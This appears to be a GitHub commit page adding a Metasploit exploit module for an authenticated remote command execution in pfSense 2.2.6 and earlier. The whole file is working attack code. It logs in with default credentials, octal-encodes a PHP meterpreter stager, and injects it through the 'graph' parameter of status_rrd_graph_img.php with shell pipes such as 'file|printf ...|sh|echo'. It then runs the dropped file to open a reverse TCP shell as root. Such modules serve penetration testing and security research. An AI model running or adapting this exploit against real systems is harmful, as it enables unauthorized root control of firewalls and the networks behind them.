Skip to content

Commit c47d097

Browse files
committed
pfsense graph sploit
1 parent 2b96f8e commit c47d097

File tree

1 file changed

+181
-0
lines changed

1 file changed

+181
-0
lines changed
Lines changed: 181 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,181 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::HttpClient
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'pfSense authenticated graph status RCE',
16+
'Description' => %q(
17+
pfSense, a free BSD based open source firewall distribution,
18+
version <= 2.2.6 contains a remote command execution
19+
vulnerability post authentication in the _rrd_graph_img.php page.
20+
The vulnerability occurs via the graph GET parameter. A non-administrative
21+
authenticated attacker can inject arbitrary operating system commands
22+
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
23+
),
24+
'Author' =>
25+
[
26+
'Security-Assessment.com', # discovery
27+
'Milton Valencia', # metasploit module <wetw0rk>
28+
'Jared Stephens', # python script <mvrk>
29+
],
30+
'References' =>
31+
[
32+
[ 'EDB', '39709' ],
33+
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
34+
],
35+
'License' => MSF_LICENSE,
36+
'Privileged' => true,
37+
'DefaultOptions' =>
38+
{
39+
'SSL' => true,
40+
'Encoder' => 'php/base64',
41+
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
42+
},
43+
44+
'DisclosureDate' => 'Apr 18, 2016',
45+
'Platform' => 'php',
46+
'Arch' => ARCH_PHP,
47+
'Targets' => [[ 'Automatic Target', { }]],
48+
'DefaultTarget' => 0,
49+
)
50+
)
51+
52+
register_options(
53+
[
54+
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
55+
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
56+
Opt::RPORT(443)
57+
], self.class
58+
)
59+
end
60+
61+
def login
62+
res = send_request_cgi(
63+
'uri' => '/index.php',
64+
'method' => 'GET'
65+
)
66+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
67+
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
68+
69+
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
70+
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
71+
vprint_status("CSRF Token for login: #{csrf}")
72+
73+
res = send_request_cgi(
74+
'uri' => '/index.php',
75+
'method' => 'POST',
76+
'vars_post' => {
77+
'__csrf_magic' => csrf,
78+
'usernamefld' => datastore['USERNAME'],
79+
'passwordfld' => datastore['PASSWORD'],
80+
'login' => ''
81+
}
82+
)
83+
unless res
84+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
85+
end
86+
if res.code == 302
87+
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
88+
return res.get_cookies
89+
else
90+
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
91+
return nil
92+
end
93+
end
94+
95+
def detect_version(cookie)
96+
res = send_request_cgi(
97+
'uri' => '/index.php',
98+
'method' => 'GET',
99+
'cookie' => cookie
100+
)
101+
unless res
102+
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
103+
end
104+
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
105+
if version
106+
print_status("Detected pfSense #{version}, uploading intial payload")
107+
return Gem::Version.new(version)
108+
end
109+
# If the device isn't fully setup, you get stuck at redirects to wizard.php
110+
# however, this does NOT stop exploitation strangely
111+
print_error("pfSense version not detected or wizard still enabled.")
112+
Gem::Version.new('0.0')
113+
end
114+
115+
def exploit
116+
begin
117+
cookie = login
118+
version = detect_version(cookie)
119+
filename = rand_text_alpha(rand(20))
120+
121+
# generate the PHP meterpreter payload
122+
stager = "echo \'<?php "
123+
stager << payload.encode
124+
stager << "?>\' > #{filename}"
125+
# here we begin the encoding process to
126+
# convert the payload to octal! Ugly code
127+
# don't look
128+
complete_stage = ""
129+
for i in 0..(stager.length()-1)
130+
if "#{version}" =~ /2.2/
131+
complete_stage << "\\\\#{stager[i].ord.to_s(8)}"
132+
else
133+
complete_stage << "\\#{stager[i].ord.to_s(8)}"
134+
end
135+
end
136+
137+
res = send_request_cgi(
138+
'uri' => '/status_rrd_graph_img.php',
139+
'method' => 'GET',
140+
'headers' => {
141+
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
142+
'Accept' => '*/*',
143+
'Accept-Language' => 'en-US,en;q=0.5',
144+
'Accept-Encoding' => 'gzip, deflate',
145+
'Origin' => 'null',
146+
'Cookie' => cookie,
147+
'Connection' => 'close',
148+
},
149+
'vars_get' => {
150+
'database' => '-throughput.rrd',
151+
'graph' => "file|printf '#{complete_stage}'|sh|echo",
152+
}
153+
)
154+
155+
if res && res.code == 200
156+
print_status("Triggering the payload, root shell incoming...")
157+
else
158+
print_error("Failed to upload the initial payload...")
159+
end
160+
161+
res = send_request_cgi({
162+
'uri' => '/status_rrd_graph_img.php',
163+
'method' => 'GET',
164+
'headers' => {
165+
'User-Agent' => 'Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0',
166+
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
167+
'Accept-Language' => 'en-US,en;q=0.5',
168+
'Accept-Encoding' => 'gzip, deflate',
169+
'Cookie' => cookie,
170+
'Connection' => 'close',
171+
'Upgrade-Insecure-Requests' => '1',
172+
},
173+
'vars_get' => {
174+
'database' => '-throughput.rrd',
175+
'graph' => "file|php #{filename}|echo "
176+
}
177+
})
178+
disconnect
179+
end
180+
end
181+
end

0 commit comments

Comments
 (0)